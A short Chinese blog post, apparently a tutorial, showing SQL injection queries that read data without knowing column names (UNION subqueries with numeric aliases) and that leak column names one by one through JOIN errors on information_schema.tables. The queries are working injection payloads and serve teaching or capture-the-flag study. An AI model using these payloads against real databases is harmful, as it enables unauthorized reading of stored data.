sql注入(利用join进行无列名注入) 4年前

select 1,2,3 union select * from sc;
select `1` from (select 1,2,3 union select * from sc)a;
select `2` from (select 1,2,3 union select * from sc)a;

select * from sc;

select 1,2,3 union select * from sc;

select `1` from (select 1,2,3 union select * from sc)a;

join 报错来爆列名

select * from sc union all select * from (select * from information_schema.tables as a join information_schema.tables b)c;

sql注入(利用join进行无列名注入)

得到第一列列名 table_catalog

select * from sc union all select * from (select * from information_schema.tables as a join information_schema.tables b using(table_catalog))c;

sql注入(利用join进行无列名注入)

得到第二列列名 table_schema

select * from sc union all select * from (select * from information_schema.tables as a join information_schema.tables b using(table_catalog,table_schema))c; 可得第三列列名 依次枚举

小乳王国
那些青春期的脆弱自尊,轻易不得触碰,那极有有可能成为对他或她一生的打扰。我们都曾经历那样纯粹、易碎的青春,只是时光的磨砺已让我们懂得逃避与忍气吞声然后慢慢遗忘自己曾经的青春。
2
发布数
2
关注者
8434
累计阅读

热门教程文档

React Native
40小节
Spring Cloud
8小节
Gin
17小节
Lua
21小节
QT
33小节
广告